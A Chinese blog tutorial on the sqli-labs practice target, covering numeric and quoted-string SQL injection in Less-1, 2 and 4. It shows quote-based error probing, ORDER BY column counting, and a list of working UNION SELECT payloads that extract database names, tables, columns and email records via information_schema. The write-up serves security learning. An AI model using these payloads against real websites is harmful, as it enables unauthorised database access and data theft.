vlambda博客
学习文章列表

sqli-labs实验初级(1) 数字字符注入


文章系列背景

sqli-labs文章系列主要是使用sqli-labs靶机进行sql注入实验,目的是为对sql注入的各种方法进行总结记录,同时也能和更多感兴趣的同学交流;这个系列会从sqli-labs的各个实验分为初级,中级,高级三个部分。初级主要是挑选一些能够详细描述sql注入不同类型的实验来进行讲解;中级部分基于初级部分基本类型的注入基础上,会有一些常见的过滤,防护手段的实验;高级部分包含一些需要更为特别方法才能注入成功的实验。



sqli-labs初级部分

sqli-labs初级部分实验主要包括sql注入位置,sql注入数据类型,sql注入方式三个方面的例子,总体来说对于注入前的判断来说,也是从这三个面来考虑。





靶机搭建

靶机搭建可以选择pull容器或者安装虚拟机或是在本机安装相应的组件;可直接搜索引擎搜索sqli-labs环境搭建

文章环境

操作系统:Ubuntu 20.04.3 LTS

php版本:PHP 5.6.40

mysql版本:8.0.28

靶机ip:192.168.56.101/192.168.56.102(两台机器mysql版本不同,分别是8.0.28&5.1.41)



注入点查找

1.判断请求类型,GET or POST

2.请求参数变化时返回(页面响应or返回数据)是否有明显变化

3.如果返回没有明显变化,可能是数据不会透传或响应到用户,可以尝试时间盲注查看请求响应时间是否有明显变化;如果以上方法都试过,猜测一下其他注入位置,包含http header,cookie等位置。

4.如果确定好参数变动有变化,则检验此处参数是否存在注入(注入数据类型判断);可以通过布尔盲注,时间盲注等方式确定

5.如果发现服务端存在一些过滤机制,就需要我们尝试绕过相应的过滤机制(后续实验中会逐步涉及到)



数字类型注入

url:http://192.168.56.101/sqli-labs/Less-2/?id=1

思路:

确定请求方式

确定参数变化时返回是否有明显变化

如果有明显变化,确定是否存在注入,此处需要确定注入的数据类型(数字or字符)

如果存在注入,尝试确定注入点sql语句的查询字段数量,后台数据库等信息



step1:确定请求类型

url中使用?连接参数,确定是GET请求(或者通过网络监视器查看); 且参数为id

sqli-labs实验初级(1) 数字字符注入


step2:确定参数变更变化

参数变更页面有明显变化,猜测此处参数id存在出入

sqli-labs实验初级(1) 数字字符注入

sqli-labs实验初级(1) 数字字符注入

step3:确定是否存在注入

首先假设存在注入,那么需要确定注入类型。

sqli-labs实验初级(1) 数字字符注入

发现在参数后面添加一个单引号'导致返回报出sql语句错误信息,信息中包含了这样一段

'' LIMIT 0,1'

意思是由于我们添加了一个引号,导致sql语句LIMIT 0,1附近出错,首先这个错误信息前后各用一个单引号包围表示出错部分,然后还有第二个字符也是单引号,而这个单引号就是我们输入的单引号。

sqli-labs实验初级(1) 数字字符注入

如果对此还有疑惑,我们可以尝试在代码中将sql语句打印语出查看

sqli-labs实验初级(1) 数字字符注入

sqli-labs实验初级(1) 数字字符注入

SELECT * FROM users WHERE id=2' LIMIT 0,1

SQL


发现构造的sql语句中id=2'只有一个单引号包围,且参数前面没有单引号包括,那么说明该参数类型为数字类型。

此时已经确定此参数为数字类型,如何确定是否存在注入呢?在这里可以使用简单的布尔判断来判定是否存在注入点。

sqli-labs实验初级(1) 数字字符注入

添加了and语句且条件为0,此时不在显示用户名和密码,说明构造的sql语句成功得到执行了,这也说明了该参数id存在注入。

SELECT * FROM users WHERE id=2 and 0 LIMIT 0,1

SQL


step4:注入点利用

注入点的利用主要是为了获取后台数据库的信息,或者拿到相关权限和系统交互实现系统渗透;在这个实验中主要讲解如何利用注入点获取相应的数据库信息。

对注入点的利用需要有一定的前提条件:

1.确定原本sql语句的类型,查询/插入/更新/删除,不同类型的sql语句利用有不同的技巧和目的(后续实验中会讲到)

2.sql语句中操作字段的数量,以及注入字段处于sql语句中什么位置,以便构造合理的sql语句

对于本次实验的查询语句类型注入点利用主要有以下几步:

1.确定字段数量

2.利用union select查询数据库中其他数据;如果无法使用union select,尝试使用报错注入等方法

3.编写payload,即获取数据库中数据的sql语句



确定字段数量

使用order by语句确定查询字段数量

sqli-labs实验初级(1) 数字字符注入

后端返回

Unknown column '5' in 'order clause'

SQL


说明查询字段数量小于5

sqli-labs实验初级(1) 数字字符注入

sqli-labs实验初级(1) 数字字符注入

此处确定查询字段数量为4

不断尝试直至能够正确查询出来结果为止,如果查询字段数量足够多的话,可以尝试二分法来确定字段数量,比如:

// 假设有17个字段
order
by 50   --> 错
order
by 25   --> 错
order
by 12   --> 对
order
by 18   --> 错
order
by 15   --> 对
order
by 16   --> 对
order
by 17   --> 对   确定17个字段

SQL


尝试构造联合查询语句

sqli-labs实验初级(1) 数字字符注入

此处并没有展示union select的结果,原因是因为id为2的数据在数据库中存在且返回了,所以优先展示了前一个sql语句的查询结果;这里只需要将id设为数据库中不存在的一个值或者前一个sql语句设定假条件即可。

设定不存在的值

sqli-labs实验初级(1) 数字字符注入

添加假条件

sqli-labs实验初级(1) 数字字符注入

联合查询语句并没有被后端过滤,所以可以在union select语句中添加payload获取数据库中其他数据。

payload构造

这里列举一些简单payload,还有许多有意思的payload可以自行搜索。

// 查询当前数据库
http
://192.168.56.101/sqli-labs/Less-2/?id=-1 union select 1,2,database() #
// 查询当前用户

http
://192.168.56.101/sqli-labs/Less-2/?id=-1 union select 1,2,user() #
// 查询数据库版本

http
://192.168.56.101/sqli-labs/Less-2/?id=-1 union select 1,2,version() #
// 查询用户权限内所能看到的数据库

http
://192.168.56.101/sqli-labs/Less-2/?id=-1 union select 1,2,(select group_concat(0x7e,schema_name) from information_schema.schemata) limit 0,1 #
// 查询当前数据库中的表

http
://192.168.56.101/sqli-labs/Less-2/?id=-1 union select 1,2,(select group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()) limit 0,1 #
// 查询表中字段

http
://192.168.56.101/sqli-labs/Less-2/?id=-1 union select 1,2,(select group_concat(0x7e,column_name) from information_schema.columns where table_name='emails') limit 0,1 #
// 查询某张表中的所有字段值

http
://192.168.56.101/sqli-labs/Less-2/?id=-1 union select 1,2,(select group_concat(0x7e,email_id) from emails) limit 0,1 #

JavaScript


sqli-labs实验初级(1) 数字字符注入



字符类型注入

url: http://192.168.56.101/sqli-labs/Less-1/

url: http://192.168.56.101/sqli-labs/Less-4/

Less-1和Less-4两个实验本质上就是和Less-2的查询字段数据类型不一致,其他注入思路是和Less-2一致的,这里区分一下如何区分单引号和双引号两种类型。

简单在参数后面添加一个单引号查看

sqli-labs实验初级(1) 数字字符注入

''1'' LIMIT 0,1'
这里第一个单引号和最后一个单引号是包括错误语句部分作用
第二个单引号是原本语句里的,第三个引号是url中输入的单引号,第四个单引号是原本包裹参数的单引号

SQL


sqli-labs实验初级(1) 数字字符注入



Less-4也是如此

sqli-labs实验初级(1) 数字字符注入

输入单引号正常显示结果,说明输入的单引号并没有破坏当前的sql语句结构,说明参数不是单引号包围的,尝试输入双引号:

sqli-labs实验初级(1) 数字字符注入

'"1"") LIMIT 0,1'
第一个和最后一个单引号是包围错误语句部分的引号
第一个双引号是原本包围参数的引号,第二个单引号是url中输入的双引号
,第三个双引号是原本包围参数的双引号,第一个右括号是包围参数的括号

SQL


这里多了一个右括号,说明后端的代码中对参数不仅使用了双引号包围参数,还使用了括号包围参数,所以这个还需要添加括号包围参数。

sqli-labs实验初级(1) 数字字符注入



最后,如果还是不缺定是单引号和双引号,可以同时输入单引号和双引号查看结果 '"

从结果查看输入的单引号被原本语句中的单引号吃掉配对了,剩下了双引号和输入的a;所以确定这个Less-1实验参数是单引号包围的。

报错结果展示输入的双引号被吃掉,剩下输入的a;说明Less-4实验有双引号包围。



总结

sql注入思路:

确定请求方式

确定参数变化时返回是否有明显变化

如果有明显变化,确定是否存在注入,此处需要确定注入的数据类型(数字or字符)

如果存在注入,尝试确定注入点sql语句的查询字段数量,后台数据库等信息

查询语句类型注入点利用主要有以下几步:

1.确定字段数量

2.利用union select查询数据库中其他数据;如果无法使用union select,尝试使用报错注入等方法

3.编写payload,即获取数据库中数据的sql语句

字符类型单引号和双引号包围确定方法:

同时输入单引号双引号加其他字符查看sql报错结果 '"a



📍遵守网络安全法律规定,请勿进行未经授权测试